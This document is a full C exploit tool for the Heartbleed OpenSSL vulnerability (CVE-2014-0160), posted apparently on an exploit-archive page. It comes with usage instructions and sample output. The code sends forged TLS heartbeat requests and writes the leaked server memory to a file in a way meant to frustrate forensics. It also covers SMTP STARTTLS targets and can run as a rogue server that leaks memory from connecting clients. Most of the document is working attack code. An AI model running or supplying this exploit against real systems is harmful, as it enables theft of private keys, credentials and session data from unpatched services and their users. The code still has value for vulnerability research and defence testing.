Heartbleed OpenSSL Information Leak Exploit

2014-04-10 19:05:09

/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. The exploit can set
* the heatbeart payload length arbitrarily or use two preset
* values for 0x00 and MAX length. The vulnerability occurs due
* to bounds checking not being performed on a heap value which
* is user supplied and returned to the user as part of DTLS/TLS
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to
* 1.0.1f are known affected. You must run this against a target
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 65535
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ connecting to 192.168.11.9 443/tcp
* [ connected to 192.168.11.9 443/tcp
* [ setting heartbeat payload_length to 65535
* [ heartbeat returned type=24 length=16416
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'leakme'
* [ done.
* $ hexdump -C leakme
* - snip - snip
*
* Added support for pre_cmd's and as an example use STARTTLS
* to leak from vulnerable SMTP services.
*
* Added experimental support for exploiting connecting clients
* with rogue server. Generate certificates with the following:
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* todo: add udp/dtls support.
*
* - Hacker Fantastic
* http://www.mdsec.co.uk
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>

#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
(((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
c[1]=(unsigned char)(((s) )&0xff)),c+=2)

typedef struct {
int socket;
SSL *sslHandle;
SSL_CTX *sslContext;
} connection;

typedef struct {
unsigned char type;
short version;
unsigned int length;
unsigned char hbtype;
unsigned int payload_length;
void* payload;
} heartbeat;

void ssl_init();
void usage();
void* heartbleed(connection*,unsigned int);
void* sneakyleaky(connection*,char*,int);
int tcp_connect(char*,int);
int tcp_bind(char*, int);
connection* tls_connect(int);
connection* tls_bind(int);
int pre_cmd(int,int);
void* heartbleed(connection* ,unsigned int);
void* sneakyleaky(connection* ,char*, int);

int tcp_connect(char* server,int port){
int sd,ret;
struct hostent *host;
struct sockaddr_in sa;
host = gethostbyname(server);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd==-1){
printf("[!] cannot create socket\n");
exit(0);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = *((struct in_addr *) host->h_addr);
bzero(&(sa.sin_zero),8);
printf("[ connecting to %s %d/tcp\n",server,port);
ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
if(ret==0){
printf("[ connected to %s %d/tcp\n",server,port);
}
else{
printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
exit(0);
}
return sd;
}

int tcp_bind(char* server, int port){
int sd, ret, val=1;
struct sockaddr_in sin;
struct hostent *host;
host = gethostbyname(server);
sd=socket(AF_INET,SOCK_STREAM,0);
if(sd==-1){
printf("[!] cannot create socket\n");
exit(0);
}
memset(&sin,0,sizeof(sin));
sin.sin_addr=*((struct in_addr *) host->h_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
if(ret==-1){
printf("[!] cannot bind socket\n");
exit(0);
}
listen(sd,5);
return(sd);
}


void ssl_init(){
SSL_load_error_strings();
SSL_library_init();
OpenSSL_add_all_digests();
OpenSSL_add_all_algorithms();
OpenSSL_add_all_ciphers();
}

connection* tls_connect(int sd){
connection *c;
c = malloc(sizeof(connection));
c->socket = sd;
c->sslHandle = NULL;
c->sslContext = NULL;
c->sslContext = SSL_CTX_new(TLSv1_client_method());
if(c->sslContext==NULL)
ERR_print_errors_fp(stderr);
c->sslHandle = SSL_new(c->sslContext);
if(c->sslHandle==NULL)
ERR_print_errors_fp(stderr);
if(!SSL_set_fd(c->sslHandle,c->socket))
ERR_print_errors_fp(stderr);
if(SSL_connect(c->sslHandle)!=1)
ERR_print_errors_fp(stderr);
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
}
return c;
}

connection* tls_bind(int sd){
int bytes;
connection *c;
char* buf;
buf = malloc(4096);
memset(buf,0,4096);
c = malloc(sizeof(connection));
c->socket = sd;
c->sslHandle = NULL;
c->sslContext = NULL;
c->sslContext = SSL_CTX_new(TLSv1_server_method());
if(c->sslContext==NULL)
ERR_print_errors_fp(stderr);
SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
SSL_CTX_SRP_CTX_init(c->sslContext);
SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);
if(!SSL_CTX_check_private_key(c->sslContext)){
printf("[!] FATAL: private key does not match the certificate public key\n");
exit(0);
}
c->sslHandle = SSL_new(c->sslContext);
if(c->sslHandle==NULL)
ERR_print_errors_fp(stderr);
if(!SSL_set_fd(c->sslHandle,c->socket))
ERR_print_errors_fp(stderr);
int rc = SSL_accept(c->sslHandle);
printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
bytes = SSL_read(c->sslHandle, buf, 4095);
printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
}
return c;
}

int pre_cmd(int sd,int verbose){
/* this function can be used to send commands to a plain-text
service or client before heartbleed exploit attempt. e.g. STARTTLS */
int rc;
char* buffer;
char* hello = "EHLO test\n";
char* start = "STARTTLS\n";
buffer = malloc(2049);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
printf("[ banner: %s",buffer);
send(sd,hello,strlen(hello),0);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
if(verbose==1){
printf("%s\n",buffer);
}
send(sd,start,strlen(start),0);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
if(verbose==1){
printf("%s\n",buffer);
}
return sd;
}

void* heartbleed(connection *c,unsigned int type){
unsigned char *buf, *p;
int ret;
buf = OPENSSL_malloc(1 + 2);
p = buf;
*p++ = TLS1_HB_REQUEST;
switch(type){
case 0:
s2n(0x0,p);
break;
case 1:
s2n(0xffff,p);
break;
default:
printf("[ setting heartbeat payload_length to %u\n",type);
s2n(type,p);
break;
}
printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
OPENSSL_free(buf);
return c;
}

void* sneakyleaky(connection *c,char* filename, int verbose){
char *p;
int ssl_major,ssl_minor,al;
int enc_err,n,i;
SSL3_RECORD *rr;
SSL_SESSION *sess;
SSL* s;
unsigned char md[EVP_MAX_MD_SIZE];
short version;
unsigned mac_size, orig_len;
size_t extra;
rr= &(c->sslHandle->s3->rrec);
sess=c->sslHandle->session;
s = c->sslHandle;
if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
extra=SSL3_RT_MAX_EXTRA;
else
extra=0;
if ((s->rstate != SSL_ST_READ_BODY) ||
(s->packet_length < SSL3_RT_HEADER_LENGTH)) {
n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
if (n <= 0)
goto apple;
s->rstate=SSL_ST_READ_BODY;
p=s->packet;
rr->type= *(p++);
ssl_major= *(p++);
ssl_minor= *(p++);
version=(ssl_major<<8)|ssl_minor;
n2s(p,rr->length);
if(rr->type==24){
printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
}
else{
printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
s->packet_length=0;
goto apple;
}
}
if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
i=rr->length;
n=ssl3_read_n(s,i,i,1);
if (n <= 0) goto apple;
}
printf("[ decrypting and decompressing SSL packet\n");
s->rstate=SSL_ST_READ_HEADER;
rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
rr->data=rr->input;
tls1_enc(s,0);
if((sess != NULL) &&
(s->enc_read_ctx != NULL) &&
(EVP_MD_CTX_md(s->read_hash) != NULL))
{
unsigned char *mac = NULL;
unsigned char mac_tmp[EVP_MAX_MD_SIZE];
mac_size=EVP_MD_CTX_size(s->read_hash);
OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
orig_len = rr->length+((unsigned int)rr->type>>8);
if(orig_len < mac_size ||
(EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
orig_len < mac_size+1)){
al=SSL_AD_DECODE_ERROR;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
}
if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
mac = mac_tmp;
ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
rr->length -= mac_size;
}
else{
rr->length -= mac_size;
mac = &rr->data[rr->length];
}
i = tls1_mac(s,md,0);
if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
enc_err = -1;
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
enc_err = -1;
}
if(enc_err < 0){
al=SSL_AD_BAD_RECORD_MAC;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
goto apple;
}
if(s->expand != NULL){
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
goto apple;
}
if (!ssl3_do_uncompress(s)) {
al=SSL_AD_DECOMPRESSION_FAILURE;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
goto apple;
}
}
if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
goto apple;
}
rr->off=0;
s->packet_length=0;
if(verbose==1){
{ unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
printf("\n");
}
printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
write(fd,s->s3->rrec.data,s->s3->rrec.length);
close(fd);
printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
printf("[ done.\n");
exit(0);
apple:
printf("[ problem handling SSL record packet - wrong type?\n");
}

void usage(){
printf("[\n");
printf("[ --server|-s <ip/dns> - the server to target\n");
printf("[ --port|-p <port> - the port to target\n");
printf("[ --file|-f <filename> - file to write data to\n");
printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n");
printf("[ --precmd|-c - send precmd buffer (STARTTLS)\n");
printf("[ --type|-t - select exploit to try\n");
printf("[ 0 = null length\n");
printf("[ 1 = max leak\n");
printf("[ n = heartbeat payload_length\n");
printf("[\n");
printf("[ --verbose|-v - output leak to screen\n");
printf("[ --help|-h - this output\n");
printf("[\n");
exit(0);
}

int main(int argc, char* argv[]){
int ret, port, userc, index;
int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0;
struct hostent *h;
connection* c;
char *host, *file;
int ihost = 0, iport = 0, ifile = 0, itype = 0;
printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
printf("[ =============================================================\n");
static struct option options[] = {
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"file", 1, 0, 'f'},
{"type", 1, 0, 't'},
{"bind", 1, 0, 'b'},
{"verbose", 0, 0, 'v'},
{"precmd", 0, 0, 'c'},
{"help", 0, 0,'h'}
};
while(userc != -1) {
userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index);
switch(userc) {
case -1:
break;
case 's':
if(ihost==0){
ihost = 1;
h = gethostbyname(optarg);
if(h==NULL){
printf("[!] FATAL: unknown host '%s'\n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
}
break;
case 'p':
if(iport==0){
port = atoi(optarg);
iport = 1;
}
break;
case 'f':
if(ifile==0){
file = malloc(strlen(optarg) + 1);
sprintf(file,"%s",optarg);
ifile = 1;
}
break;
case 't':
if(itype==0){
type = atoi(optarg);
itype = 1;
}
break;
case 'h':
usage();
break;
case 'b':
if(ihost==0){
ihost = 1;
host = malloc(strlen(optarg)+1);
sprintf(host,"%s",optarg);
bind = 1;
}
break;
case 'c':
precmd = 1;
break;
case 'v':
verbose = 1;
break;
default:
break;
}
}
if(ihost==0||iport==0||ifile==0||itype==0){
printf("[ try --help\n");
exit(0);
}
ssl_init();
if(bind==0){
ret = tcp_connect(host, port);
if(precmd==1){
pre_cmd(ret, verbose);
}
c = tls_connect(ret);
heartbleed(c,type);
sneakyleaky(c,file,verbose);
exit(0);
}
else{
int sd, pid, i;
ret = tcp_bind(host, port);
while(1){
sd=accept(ret,0,0);
if(sd==-1){
printf("[!] FATAL: problem with accept()\n");
exit(0);
}
if(pid=fork()){
close(sd);
}
else{
c = tls_bind(sd);
if(precmd==1){
pre_cmd(ret, verbose);
}
heartbleed(c,type);
sneakyleaky(c,file,verbose);
exit(0);
}
}
}
}

Fixes

No fixes

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